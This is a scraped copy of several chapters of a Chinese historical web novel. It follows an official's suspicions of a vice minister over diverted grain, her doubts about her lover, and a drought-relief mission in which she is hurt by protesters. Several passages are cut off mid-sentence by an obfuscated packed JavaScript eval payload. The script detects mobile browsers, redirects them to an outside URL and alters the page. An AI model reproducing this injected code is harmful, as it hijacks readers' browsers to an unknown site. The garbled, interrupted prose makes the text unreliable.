季泠突然后悔自己如此冲动,就这么将自己辛苦数月的成果直接送给了应惟绅。 虽然应惟绅对她一向不错,可是,她这不是把政绩白白送给别人吗! 分明是她率先发现贺晋环隐瞒不报,也是她上疏弹劾的贺晋环和闫有德。可他们的罪又如此轻描淡写,真正的重头戏被人压下不说,还让她无从施展。 季泠从应惟绅的值房内走出,紧拧眉头,慢慢走回自己值房内。 应惟绅去查,得了证据,闫有德和他背后的人定罪处置,这是她必须达到的目的。 可若应惟绅不查呢?徐行近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“闫有德那儿先不急,他当日被革职,走的急,兴许值房之中还有留下什么线索。如今他离开,我正好将他的人收拢来,没准也能打听到什么。” “湖广那儿,若是能证实漕船沉没是人为所致,那我们就可以将此事拿来做文章,这样大的布局,涉及的人事环节太多,往往最容易出漏洞。我们先请令把涉事人员都圈起来,一个个审,那么多张嘴,总有松的,总能找到吩咐他们的人。” 林微看着季泠边说边写,不一会儿,一条铁锁般紧密衔接的链条跃然纸上。 “执庸,没想到,你查案也有一手啊。” 季泠苦笑道:“谁能想到,来了户部,天天竟是干这些事情呢。从前是查张瑛钱莘的罪证,现在是查闫有德的罪证,我真不该投入户部,该去大理寺才对。” 一想到此处,季泠更加郁闷。 她原以为,做了五品官,便脱离了小官的行列,多少也该有些实权了。 可五品官在京城一抓一大把,她手上那些权力,压根不够看,走到哪儿都是要给人行礼作揖的身份,实在叫人不痛快。 她还要再爬高些才行,至少也要到,想做什么,便立刻有人自发为她效命的那番地位。 而不是像从前那样,干什么都要自己蒙面乔装去拼杀,也不是像现在这样,万事俱备了,却要热脸将自己的功绩亲自奉上,求他人接受赏识。 这样屈居人下、处处掣肘的感觉太不妙了。 不必亲自现身,不必亲自下令,当荣光之下的影子动了动指头,便有无数人死心塌地以求替她效犬马之劳,这样才叫痛快。 翌日晌午,季泠终于收到了湖广来信。 可当她报以大业终始的激动打开楼饮晴为她探访的线索时,却脸色突变。 数张信纸从她手中扬撒而下,枯枝败叶般落在她的青袍之上。 不久之后,另一个噩耗接踵而来。 74. 情意相合立场相悖 季泠还未来得及将湖广粮仓中的空缺补上时,湖广布政使急报入京,湖广大旱。 朝廷必须立刻派人作为先锋,去湖广料理赈灾一事,兼以安抚民心。 与昔日季泠跪求应惟绅不同,此番,她坐在户部衙门内,应惟绅派人来通知她,三日后即刻动身,前往湖广。 季泠站起身,嗫嚅须臾,终于低下头,应下此事。 她别无选择。 几乎所有人都注意到季泠这段时间的变化。 槐花在季春以初茂,践朱夏而乃繁。 季泠的变化,亦是如此。 一个月来,季泠不苟言笑,气性全消,近日所见,更是形神顿惫。 祝扶春听闻了赈灾官员名单,立刻前来找她,却见季泠呆坐在书案前,脸色苍白,几欲失魂。 “执庸?你怎么了?” 季泠抬头看向他,牵强笑笑:“没事,累了而已。” 祝扶春拉过一张杌子坐到她身边:“你近日状态不佳,是不是出什么事了?此次赈灾,你只身前去……” “我近日状态不佳吗?” “何止不佳,你看看你,从早到晚地坐在公案前,既不站起身活动一二,膳时也不进食,你要成仙吗?” 季泠被他逗笑了:“你不是不知道,闫有德一走,给我留了这么大一个烂摊子,实在难以收拾。也罢,去一趟湖广也好,权当散心了。” 祝扶春不得不出言提醒她:“赈灾与你去西北不一样,不是那么轻松的。你知道,水旱灾害,会出现什么情况吗?” 季泠闭眼,点了点头:“你给我的救灾治疏中,都有,我知道。” “这次所去官员,几乎与你都不相熟,你一个女子,到那样的环境去,我实在担心。” 季泠笑笑,拍拍他的手:“还行,时迁不是也去吗?女子男子的,也无关紧要,只要没人捅破就行。我只是怕……” “怕什么?” 季泠敛目,眉头耷拉着,低声喃喃:“没什么。” 回到浮云堂,季泠再次翻开这段时日陆续从陕西来的信,密匝匝铺了一地,季泠坐在其中,神色倦怠。 楼饮晴的第一封信,来得实在及时。她们前脚刚想查漕船之故,翌日,楼饮晴就告知她,近日陕西多家大商号的粮仓爆满,聘了许多伙夫去搬运,开出的工钱极其丰厚,她手下的管事都听说了。 突如其来的粮食,还能从何而来,她一想便知。 闫有德背后的人,户部高官,陕西,她当即就想到一个她此生绝不可能怀疑的人。 应惟绅。 徐行说过,她生辰前后,正是陕西石榴丰收的季节,每年,应少爷都会给徐行送很多陕西石榴。 她说她从未吃过石榴,徐行说,等八月应家祖家送来石榴,他便替她留下一筐,为她庆生。 借着商贸交集,楼饮晴替她继续探访,已然查明,那几家大商号,与应家沾亲带故,脱不了干系。 根据楼饮晴的估计,所得出粮食数目,正是所沉漕粮之数。 于此同时,一批陈粮被贱卖到南直隶各处不起眼的食肆饭馆中。 如此一来,桩桩件件,便已然清晰。 这一个月来,林微寸步不离地守着季泠,看着她从最初的崩溃无措,逐渐到如今水落石出、无可辩驳的绝望。 “林微。”季泠瘫坐在地上,悲哀长叹,“我实在是太蠢了。前脚刚被闫有德算计,后脚又自己傻乎乎送上门去,将自己暴露在应惟绅面前。” “执庸,未必就是应大人,如今不过是我们的猜测,没有确凿证据……” 季泠的指尖掠过满地信纸,沙沙作响,她几乎陷入这片残叶覆盖的泥沼之中。 “确凿证据?我们还能得到吗?兴许,我没将那份呈详送到应惟绅面前之前,我们还有机会。可是现在,就算有证据,怕早已被清理干净了。” 这件事情越拖越久,朝中的争议将要平息,待到她从湖广赈灾回来,估计此事就完全沉寂,那她再想揭案,难如登天。 “难怪应惟绅不许我插手,还借此机会将我派去湖广。我总是一次又一次,轻信他人。迟早有一天,我死在自己手里。” “我们请公主介入此事,应惟绅的势力,难道会比公主更大吗?” 季泠无力摇头:“若此事只在陕西,便也罢了。公主曾在南直隶理政多年,此事牵扯到南直隶,若是公主贸然插手,必然引起陛下猜忌。” “大人。”白芨站在书房外候命。 “何事?进来吧” 季泠与林微将满地信纸收起,白芨道:“徐大人派人说一会儿过来。” 季泠手头一顿,冷下脸说:“叫他别来了。我今日疲乏,先睡下了。” 林微待白芨退出之后,忧心地看着季泠:“执庸,这一个月,你都推脱不见徐大人,他会起疑的。” 季泠怅然伏案,双眼痛极,终于阖上。 “林微。”林微走到她身边,抚上她的脊背,支撑她的彷徨。 “我很想信他,可是,太难了。我没想到,有朝一日,我竟然走到如此地步。连推脱的权利都没有,连在浮云堂里,我都要逢场作戏。” 她感受到眼睛渐渐湿润起来,终于可以睁开眼,再去接收世界的黑暗了。 季泠坐直身体,看向身侧的林微,一把抱住她。 “你懂吗?林微。我曾经觉得,哪怕我有几分利用的价值,即使他位高权重,徐行也断不会真的一丝真情也无的,一定会留有几分余地,为了我。可真走到现在,甚至,还未踏出一步,我便已经怕得不行了。” 林微看着她渐渐变红的眼眶,渐渐痛苦的神情,渐渐哽咽的嗓音,摸着她的头,轻声说:“我懂。” 她怎么会不懂呢。齐家,学社,公主府,朝堂……真要论起来,参与她人生中的低谷与辉煌,又有谁,能胜她一筹呢? “林微。我现在,唯一能托付全部信任的,仅你一人了。”林微眸光微动,低头看向埋在她怀中的季泠,从来挡在她身前勇敢无畏的季泠,第一次,如此脆弱地索求她的温暖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你看,你也迟疑了。若是,我们真的是敌人,那么,今日守在外院的那些侍卫,兴许明日,就要成为我们的刽子手了。”她还是轻率了啊,自己喜滋滋地请了一架悬颈铡刀回来,焉能想到如今会是这样的局面。 “那你打算,怎么办?” 季泠却沉默了。 林微第一次看到,她六神无主的模样。往常,遇到再大的难题,再险的局势,她也只会挠头大叫几声,复又暗自鼓舞自己,再埋头想法子解决。 可如今,她是真的不敢想,不敢做了。 季泠深深闭眼,往后仰头,后颈别在官帽椅的木栏边,硌得她生疼。 她又想到,之前徐行站在她身后,轻轻捏着她的脸,她一睁眼,就看见徐行倒着的脸,尽是外人不可窥见的温柔笑颜。这样的好日子,她才享受了三个月。 她以为还有很久很久,所以过去她都没有好好珍惜。 可她不是没见过徐行冷脸的样子。 那年,在刑部大牢中,若是徐行给的判决没法让钱莘满意,若是她后来没有借那把火侥幸逃脱,她丝毫不怀疑,徐行会要了她的命。 他的威胁,不必言语,她只看到他的眼神,他的嘴角,就已经心中有数了。徐行在大事上,十分果决,毫不手软。对她,一定也是。 可她必须查下去。为了她的迢迢前路,为了她的芸芸众生。此次去湖广,她不仅要赈灾,她更要将此事查个水落石出。只有这样,她才能保住自己。 她已经被逼进死路了。 75. 誊恩账簿还他厚意 季泠靠在椅背上,不知什么时候睡着了。 等她再睁眼时,就看见徐行站在她身后,一手扶着她的头,一手垫在她的脸下,替她作枕。 季泠眼中的惊慌一闪而过,猛地坐起来,将官帽椅拉出刺耳的声音。 “你什么时候来的?” 徐行诧异于她的激动,含笑间拉她坐到罗汉床上,“才来不久,就见你仰在椅背上睡着了。多大的人了,怎么还像个孩子一样,叫我怎么放心呢。” 季泠看着他,双眼含情脉脉,撇过头去,看向花几上的那盆茉莉。 “别总用这样哄孩子的话来哄我。我有手有脚的,知道怎么照顾自己。” 徐行被她的话堵住,见她背身寥落的模样,在罗汉床上向里挪了一些,更靠近她一些,贴在她的耳鬓,柔声道:“怎么了?是不是我最近都没来陪你,你不高兴了?” 她摇摇头,思索了一会儿,转过身去。“徐行。” 徐行诧异,季泠几乎没有直呼过他姓名,可见到她仍旧笑得如往常那样,他便放下疑虑。是他最近忧心事太多了,怎么什么都要起疑。 季泠的手被他握住。 “怎么了。” “应大人派我去湖广赈灾。” 徐行一滞,低头抚摸着她的手背,想让她安心些。 “我知道。应大人下午已经将名录递来了,我看过,都是会做实事的人,你放心。” 季泠看着他的手,骨节均匀修长,青筋微突,轻易就将她的双手包裹住,叫她如何也挣脱不得。 季泠眼眶骤然变红,她仰起头,灯火扑在她的脸上,将她的泪照耀得金光闪烁。季泠第一次在他面前主动献祭自己的脆弱。 “你若不想去,我可以把你的名字划去。”这对他而言,并不是难事,虽然肯定要费些功夫,但他能够应付。 他不是感觉不到季泠近期的变化。 自从她得知祖母身故的消息之后,似乎便颓萎下去了。他看着心疼,却不知如何开解,他越靠近,她越难过。 “应侍郎,是什么样的人?” 季泠靠在他怀中,呆看着小几上的赈灾治疏,眼前模糊。 她还年轻,担忧也是常事,她与应惟绅过往交集不多,如今虽是暂任,可年纪轻轻坐在郎中的位置,并不容易,她一定是免不了担心的。 “应大人持中平和,务实稳重,在户部侍郎的位置上已经坐了十余年了,收下提拔起来的官员大大小小也有数十人。怎么了?” “你似乎与应大人关系很好?总听你赞扬他。” 徐行摇摇头道:“也并非赞扬,只是在官场浸淫已久,许多人都会迷失本心,改变章法,应大人是难得十数年如一日的人,这份坚定,倒是让人佩服。而且,应大人与我父亲是同科进士,我与他的儿子自幼同窗,倒也算是应大人看着长大的了。” “原来,你与应家的关系匪浅。”季泠轻声说。 徐行紧了紧双臂,将她往怀中带得更近些,季泠离小几远了几寸,上头的字便模糊了几分。 “是啊,只是官场之中,朋友与同盟,该要分清的。我们两家虽然父辈交好,但那都是私下的事情,到了公事上,若是利益相悖,也绝不会因为私交而退让的。” 对他们这样累世官宦的家族更是如此,将个人情谊与政治利益捆绑,是很不成熟的行为。 “是吗?我第一次听说,基本上,有了这样深厚的交情,在公务上,都会彼此拉扯一把的,不然,两家的情谊靠什么维持呢?总不能是女眷的品茶赏花,老爷们的下棋谈心吧?” “君子之交淡如水,有三两观点契合即可,不必深究过分。点到即止,彼此欣赏,大抵如此。若是太过亲近,反而容易滋生轻视怨怼。” 季泠若有所思地点了头,沉默一会儿,又认可地重复他的话:“是啊,点到即止才是最好的。”她也应该这么做。 可她几乎难以想象,如何不把私情掺入公事之中,就如她总要关照西北的钟荡云,关照湖广的楼饮晴,关照凤阳的何咨宁,还要惦念抚远候府,惦念公主府。 她爬到高位,除了为她的理想,为她的仕途,还为她在意的人。她要足够强大,才能保护她的朋友们。 季泠轻轻拂落他的手,“我有些累了,想休息了,你先回去吧。” 徐行看着身前的人,究竟是什么让她郁结于胸呢。 “航青,你,是不是有事瞒着我?” 季泠阖了阖眼,摇摇头。“没有,我只是累了。最近事情接踵而来,我无暇顾及。” 她转身,安慰似地,在他脸颊上轻轻贴了一下,几乎就如风掠过般了无痕迹。 徐行怔愣一瞬,抚上她的脸,季泠却从罗汉床上下去,拉起他的手,慢慢走向出书房。 “更深露重,早点回去吧。” 徐行站在堂前,看着她,月影清浅,素来坚峻不屈的她,却无端多了几分脆弱。 可季泠只虚抬了抬手,又浅浅笑道:“快回去吧,别叫我忧心。我明日还要准备去湖广的行程呢。” 徐行大袖中的指尖微动,凝视着眼前人许久,最后一把将她拥入怀中。 季泠始料不及。 她感受到徐行的热息流连在她的颈侧。他是否也舍不得她呢? 她伸出的手在他的腰际停留,她掌心的土星丘触到了他的宁绸直裰。 这之间的距离是那么贴近,可她觉得,几乎也能容纳得下两条波涛汹涌的大江穿越奔流。 在僵持许久后,她终于,垂下了双臂。 她恐惧了,第一次切切实实地恐惧这个将她轻柔的拥进怀里的人,她惧怕他的权势,惧怕他的权势带来的她无法承担的后果。 即使他待她一向温柔,他从未对她做过什么不利之举。 季泠想让自己放松下来,却控制不住肩胛的痉挛。 徐行察觉到她的心不在焉,柔声问道:“怎么了?”他的手轻轻抚上她的头。 季泠再度哽咽,心生灭顶绝望。 再贪恋一会儿吧,就许自己一会儿,这样总不会对结果有什么影响的。反正明天她就要走了。 徐行一步三回头,终于是离开了。 季泠扶着隔扇门,疲惫地滑落在地,堂前空阶冷,清影怜月凉。她看着月亮许久,最后眼睛酸胀的如同在正午盯着太阳般,被灼伤得终落下泪。 “徐行…我能信你吗?我们的立场,能够始终如一吗…”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446337|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>兴许这个问题,徐行自己都不知道,那么她又怎么敢开口问他,奢求他的让步,强求他的妥协呢。 破晓时分,季泠起了身。 等待徐行忙完公务,偷了时间与空间,再次坐上那架马车来到石竹巷时,季泠已经离开北直隶,去往了湖广。 而徐行暂时没有意识到,外院的侍卫并没有及时向他通禀这件事情。 他坐在海棠树下,看着格外冷清的浮云堂,突然一阵空虚袭来。 而在阳春之前,他未屡次拜访浮云堂之前,他从未有过这种感觉。 徐行提步,走入书房之中,在她日日夜夜坐过的官帽椅上坐下,不禁想到,她坐在这儿撅着嘴抓着笔冥思苦想的模样,悬腕专注撰写公文的模样,还有托腮盈笑看着他的模样。 她一定不知道,他对她的爱,定是远胜她许多的。 他心中原只有满地公务,他费劲心思将其拢成连绵群山,在其中腾出一方幽静山谷,来安放她。 面前的书案上,公文案卷仍然散乱着,定是她今日走得太匆忙了,还来不及整理。 徐行无奈一笑,替她将四处敞开的案卷收拢,却在一本账簿上,看见自己的名字。 徐行顿住,将账簿拿起,却在详细看清账簿所记内容时,陡然变了神情。 “入京第五年,秋,徐行替我打了两张良弓,用料不菲,已问过工匠,价值数金,我还需攒攒。” 边上还用极小的字斜着补充了一句:“早知便不收他的礼了,我的俸禄本就不多,不知道什么时候才能攒足还给他。按资历来看,几年内我应当无法再升官了,不能开源,只好节流。” 徐行捏着页角,翻过数页。 “入京第六年,冬至,徐行替我查到沈赟偕,并借我人手处理此事,此可记为两恩。” …… “入京第七年,徐行提醒我湖广账目有异,算个天大的恩,但钱莘一案,我也提供不少证据,应可两两抵消。” 最后一页,便是如此。 徐行闭眼,将账簿盖上,深吸数口气,才翻开第一页,却更是令他震惊。 “十五岁,徐行替我取字,我很喜欢。但我也替他取了一个,不管他喜不喜欢了,我就算账平。” “十五岁,齐家军大营内,徐行鼓励我进言,记为一恩。” “十五岁,山长处置陈先生一事,徐行替我出言,记为一恩。” …… “入京第二年,刑部大牢下狱,徐行没有揭穿我,但我凭借自己逃出去的,还向公主进言,可提他为吏部侍郎,算徐行欠我一恩。” “入京第三年,流音阁假扮舞姬,徐行没有揭穿我,我将孙立言的证据送给他,可相抵。” …… “入京第四年,入仕第一年,冬至,徐行长街救我一命,但后来我也在流音阁救他一命,也替他上药了,刚好相抵。” “入京第五年,春夏,我替徐行等人在西北搜集周平罪证,十分辛苦,勉强只算徐行欠我两恩。” …… 徐行越翻越慢,终于将所有账目都看完了。 好一本账簿啊! 难怪华荣公主将她安排到户部,简直就是做账平账的好手! 76. 赈灾首行即逢意外 林微从户部回到石竹巷,才过前院,见到乌泱泱一群人,猛然止住脚步,立刻将手中的东西塞入袖中。 “林姑娘?”迎星与抱月见到她,满脸震惊。 “你们怎么在这儿?徐大人来了?”林微冷脸相待,叫他们二人摸不着头脑。 不待他们回应,林微当即提步往浮云堂赶去,果不其然,走进书房,徐行面无表情地坐在书案前。 正如迎星抱月的反应,徐行见到林微,十分诧异。 “徐大人,执庸已经走了,您如此不请自来,怕是不妥吧?”林微的声音几乎都在颤抖。 徐行的脸色很难看,她不知道,徐行究竟看到了什么。若是被徐行发现,她们近日所做之事,那么季泠的处境将会更糟。 徐行端坐在书案前,俨然一身高高在上的气派,抬眼看了林微,“你为什么会在这儿?” 林微皱眉,还不及她措辞应对,徐行已经背手走到她面前。 林微终于明白,为什么季泠那么害怕,把这件事情告诉徐行。 原来,她平日跟在季泠身后,看到的都是儒雅温和的徐行,而他的本来面目,她今日第一次见。 “她一个人去的?” 林微抬头,对上毫无情绪的徐行,恐惧地低下头,她该怎么说? 徐行不允许她的沉默,冷声问道:“说。” 即使徐行声音并不大,可林微却是心惊肉跳,只能点头。 “一个人都没带?” 林微又点头。 “她究竟想做什么!” 林微不敢抬头,怕他看出她眼中的闪躲。 炙烤她的静默只持续半晌,徐行撂下一句话便离开了。 “我亲自去问她。” 林微僵在原地,直到白芨仓惶地走进来,她才腿软地走到圆桌边坐下。 “外面情况如何。” 白芨答:“徐大人看起来很生气……前院的侍卫都撤走了。” 林微闭了眼,无力垂头,撤走了好,这样就能以防万一了。 “林姑娘,大人真是只身一人前往湖广的吗?”白芨犹豫片刻,还是问出了口,这本不是她一个侍女该过问的。 林微点点头,她也很想跟去,她也十分担心。可徐行与应惟绅都在京城,她要替她守好后方,盯紧京城的风吹草动。 连月无雨,湖广大旱。 万物曝干余汗泪,日如烈火烧天红。 季泠到达湖广之时,先与同行同僚会见了湖广布政司使等人,摸清了情况。 湖广诸官一见她,下意识往她身后看,等一位大人物的到场:“季大人,皇上可有派遣其他大人前来?” 季泠苦笑,她一个人确实难以担起全省救灾的大任。 “诸位大人放心,灾情紧急,皇上派我先来核实详况。随后就有巡抚大人前来安民。”布政使和参政这才放心下来。 未作休息,她带着户部同僚随湖广诸官在附近州府巡视,入眼便是赤地千里,殍殣载道。 “荆南、襄阳仍大旱,米斗三十千,人多相食...武昌诸府旱灾最为严重。” “武昌?湖广粮食皆依赖周边江湖而养,怎么会是最严重的呢?” 诸官左右顾盼,不再说话,只是引季泠等人到一处湖泊,她这才明白。 “竟然全部干涸了...”湖泊周边还可见农田残迹。 “百姓围湖造田,侵占湖泊,而湖广江湖众多,原先是频发水灾,这几年一直修筑堤防,避免这些开垦的湖田受到水患干扰。围境造田不断推进,湖泊萎缩,今岁逢旱,竟就直接无水了。” 季泠几人放眼望去,平地凹陷的地方,基本都是干了的湖泊。 “难怪与之前相比,这几年湖广征收的鱼课不及十一。” 百姓只想着向上天再多争一口饭吃,怎么会料想到最后反食其害,让自己颗粒无收。 既是武昌府旱灾最为严重,那她首站便该去往武昌府了。 才到武昌府,季泠就见一行人在城门迎接,她略感诧异,大步前进。 一丛人中,为首的绯袍便尤为亮眼。 竟是武昌府的姚知府。 季泠等人随他入了城,了解府内各处灾荒情况。 待到落日时,姚知府在府衙前将要与其分别,提前命人为赈灾京官安排了寓舍。 “大合乡里此不远,是农田最广、收成最多的一处地方,虽名为乡,实际上规模可与镇堪比。” 姚知府身边的人在与她的随行官员谈论着。 季泠留神听了几句。 每逢大灾,繁荣富庶的地方总是紧着先保障供给,许多乡镇村落就自然而然地被放在最后考虑。 既然大合乡地广人多,她不如先去看一看,若是能有序地推展赈灾,将良策迁移到周边地区,兴许效率更高。 在城内稍作休息,第二日季泠几人随着姚知府到了大合乡。 刚一下轿,一阵炽热袭来,季泠瞬间就被打得睁不开眼,在轿边缓了好一会儿,才勉强适应。 走了两步,她终于体会到何为“足蒸暑土气”,只感觉即使穿了鞋,脚也像踩在滚烫的沙土上,从脚底网上侵袭的热气要将她身上的每一滴水都吸干,让她寸步难行。 季泠顺着土路往乡内走去,方圆百里,目之所及,寸草不生,自春徂夏不雨,树木多枯死,原来竟是这番景象。 姚知府身边的师爷说着大合乡的灾情,姚知府则说起了往年的旱灾:“季大人是否听闻,饥荒之时,有食其稚子者,甚至有民殴杀税使……” 季泠心中不悦,却未外显,只维持着淡然的疏离与应有的尊重道:“姚大人不必觉得我是个女子就说这些话来恐吓我。若是乡镇之中出现食子杀使的情况,您才是首当其冲。” 姚知府悻悻地住了嘴,看着季泠不苟言笑的样子,暗叹不妙,眼珠子随着不为人道的心思转了九曲十八弯,复又看回季泠。 正当一行人走近大合乡时,烈日之下,有人朝着他们跑来。 来回话的士卒跑得上气不接下气:“大人!灾民们闹起来了...” 季泠看了一眼姚知府,老成之人流露出些许惊慌,也下意识转头看向她。 季泠收回眼神,加速往大合乡内走去,便见乡中一片空地上,数千乡民麋集于此,不顾天地灼烧,震声抗议。 空地边的一棵枯树下,乡约站在草草搭起来的矮台子上声嘶力竭,发出的微弱之声全被下头七嘴八舌的怨气震碎。 姚知府和季泠走向乡约,问了具体情况。 “附近的粮仓都没有余粮了,乡民们饿得发狠,受不住了,要官府给一个解释,问他们每年缴的税粮都到哪里去了……” 果不其然,季泠站在矮台之后,没一会儿就听见有人大喊:“朝廷每年叫我们交粮之时,一刻也不许我们延缓!一厘也不让我们少给!我们大合乡为武昌府、湖广贡献了那么多税粮,如今轮到我们受灾出事,竟然连一口饭都吃不上吗!朝廷是不是要放弃我们!” 乡约知道姚知府的地位,不顾姚知府许可和反应,立刻就站回矮台回应:“乡民们!官府没有放弃大家!武昌府里的姚知府来了!他们会给众位一个满意的答复!” 此言一出,乡民不仅没有安静,反而喧嚣愈烈。 不知谁说了一句:“姚知府来我们才是真完了!谁不知道他是武昌府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446338|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中最大的富户!一个知府如此富裕,还不是吸我们的血!” 姚知府脸色当即难看起来,低声暗骂:“这群刁民!无中生有,捕风捉影...” 暗骂过后,偏头看了一眼季泠,季泠没什么反应。 这倒是和他听到的不太一样。 无论是与她打过交道的湖广官员,还是京城户部,传出的风声无一例外,都说这个女人素来就爱上纲上线,软硬不吃,十分难搞。 眼下她顶了闫有德的位置,带来的人还底细不明,又听闻,她与公主、户部侍郎、吏部侍郎的关系都不错…… 姚知府思考片刻便抬手,示意身边人上前替他辩解。 却被一揽青袖拦住。 “姚大人,您的人现在上去,怕是只会引起民愤。百姓不知轻重,误伤了可就不好了。” 季泠来得匆忙,没有事先调查好湖广的情况,武昌富庶,却能让姚知府这样受到乡民针对,看来未必是空穴来风。 姚知府看着季泠,言辞恳切,倒像是真替他着想似的。若不是消息有误,就是这个女人太会伪装了,竟瞒过所有人。 他眼下巴不得季泠说出这句话,立刻由身边的随从围了,躲在一众人后,惜命的模样让季泠都不禁咂舌。 季泠自然不能在他的地盘和他撕破脸,如今还是该先平复灾民的怒气才是。 乡吏之言不够有分量,地方知府他们又不信任,那就只能她这个赈灾官员来了。 季泠走上矮台,一身青袍已经被汗水浸湿,几乎没人注意到这样清瘦的人突然出现在乡约身边。 “乡民们。” 清朗嗓音中又带有几分古井幽幽的醇厚,季泠的声音仿佛久旱惊雷,矮台之下,所有人齐齐看向她。 “乡民们,稍安勿躁。湖广大旱,圣上百官无不挂心。本官为户部郎中季执庸,特奉圣命前来救灾。” 季泠先自报家门。 话音刚落,底下就传来乡民的议论。 “他是朝廷官员...” “朝廷真的派人来我们乡中?” “以往也就县里府里会有大官来,这是咱第一次见到朝廷命官呢。” 七嘴八舌的议论间,喧闹已经转为私语,先前的躁动渐渐平息了几分。 季泠正想继续开口,却被隐匿于人群之中的异声打断:“这个季郎中是个女人!” 此言一出,瞬间如石激千浪,躁动再次一呼而起,愈加狂烈。 “朝廷就派了个女人来赈灾?这是摆明了要不顾我们乡民的死活啊!” 季泠立刻循声看去,是一个下颌略方、眼睛因饥饿而突出的男子,他站在一圈乡民正中间,眼神锐利,众人都簇拥着他,明显将他当成了主心骨。 “诸位,且先听我一言...” 季泠还未说出话,底下就全部闹哄开来:“谁要听你说话!” “你算个什么!” “我们要真正能主事之人出来!” “朝廷是想弃我们乡民于不顾吗!” “承诺了多日的粮食,究竟在哪!难不成都被你们这群贪官私吞了不成!” “你这样锦衣玉食的娇贵女人,哪里懂得我们百姓的苦楚!滚!” 季泠虽站于高处,但她的声音也无法穿透这样错乱无序的音浪。 烈日炙烤之下,她只觉喉咙被蒸干,甚至连眼睛开始涩痛。 正当她想抬起手挡住阳光时,人群中突然抛过来一件东西,黑乎乎一团,似乎是一只飞太快的鸟。 季泠还没来得及伸手挡下,就被实实在在地砸中了,趔趄之下后退几步,差点从高处跌落。 接着就被一只手扶住。 77. 同享日月同渡危河 两眼昏暗间,只听见身边之人的命令:“来人,将刚刚意图闹事、行刺朝廷命官的人抓起来。” 语毕,藏匿在各处的锦衣卫突然倾巢而出,涌进人群之中。 兵甲碰撞的声音压下麋集罗唣之声,即使人多势众,乡民们也不再气势高昂。 噤声前后,只见玄色曳撒掺入褴褛衣衫之中,几息之间,部分乡民便发现身边少了人。 对强权的恐惧暂时战胜了对饥饿的恐惧。 在混乱懊热之中,一道关切反而出人意料。 “季大人!您流血了...” 季泠站稳之后,立刻松开旁边人的手,抬眼看向声音来源,是矮台前的一位妇人,牵着一个瘦弱的小姑娘,年纪约莫也就七八岁。 季泠感受到额角有浓稠的浆液顺着脸颊流到下巴,在滴落之时,她才反应过来,伸手一摸,原来是血。 混在其中的还有源源不断的汗水,难怪她没有察觉。 季泠弯下腰,捡起来刚刚砸中她的东西,是一个陶碗。 在这个时候,居然还有人能将自己吃饭的珍贵家伙砸出来,究竟是情急之下失去理智,还是有人趁机浑水摸鱼? 她蹲着半晌,思考之间,随意抬袖擦去脸颊和眼周的血迹,血流得太多,这样一擦反而弄了半边脸全是血痕,有些骇人。 那位妇人身旁的孩子见了,吓哭起来,四周又掀起一阵小小的喧动。 妇人拍了拍孩子的后背,抚慰她的惊慌,而后又用同样的担忧看向季泠。 “季大人,您先去处理您的伤口吧……”语未罢,便在不十分合身的衣衫之中四处摸索,随后上前一步,越过篱笆般的士兵,将手中的帕子递给季泠。 季泠怔愣了一下,浑身上下的水逆着血液奔向胸口,想要将她狠狠冲倒。 她眨着干涩的眼,倾身将她的帕子推了回去,微笑着说:“大娘,多谢您的好心,我不用。” 大娘却紧张起来:“季大人...我们没有更干净的帕子了...” 季泠感觉血又滴落,还深入眼中,又流出来。她复低头擦了擦,“所以我更不能拿,您比我更需要。” 大娘看着满脸血的季泠慢慢站起来,借由矮台之势,后头的乡民终于注意到季泠的伤势,小声议论起来。 季泠捕捉到一些破碎的言语—— “是不是我们做的太过火了...” “她毕竟也是个女人...” “她看起来不像那种狗官。” …… 季泠微微一笑,不知道是因为锦衣卫的镇压还是因为她伤口的狰狞,总之乡民们的怒气是淡下来了。 季泠清了清嗓子,声音仍有些嘶哑,却突破干涸的土地,透进乡民的心中:“乡亲们!朝廷之中,无论是圣上还是各位官员,皆心系湖广旱灾,忧心忡忡,无不重视。我季执庸是女子,却并非陛下随意选出应付湖广百姓。正相反,圣上之令,命我等赈灾官员与民同食同寝,同存同亡。” 季泠停顿了一下,看了看乡民的反应,目前已经少了许多抗拒,她伸出双掌,上面有淡去的伤痕和薄茧,前排几人可以看得一清二楚。 “我也是在乡间长大,也如各位的儿女孩童一样,见过旱灾水患。不仅如此,我还曾协助当地官员一道治理,最终保全全乡性命。且正是因为我年轻气足,身强体健,又为女子,比男子多几分细心,陛下考量诸多,终派我前来与乡民们齐心抗灾。我季执庸在此立誓,大合乡灾情不缓,我绝不离乡半步!我与各位乡民,同享日月,同渡危河!” 季泠的声音高亢,她额头的血随着她的呼号而不断绵延,染红了她的眉毛,模糊了她的视线。 她快要体力不支了。在眼前瞬白的一刹那,她听见前面还在哭号的幼童说了一句:“娘亲,我相信季大人,她是个好官,你看她还在流血...” 稚子的善良单纯激发了身边众人的怜弱之心,前排几人也纷纷跟从:“季大人是个好官!” 季泠努力牵起嘴角对着那个孩童笑了一下,阖眼之时,控制不住的往前倾。 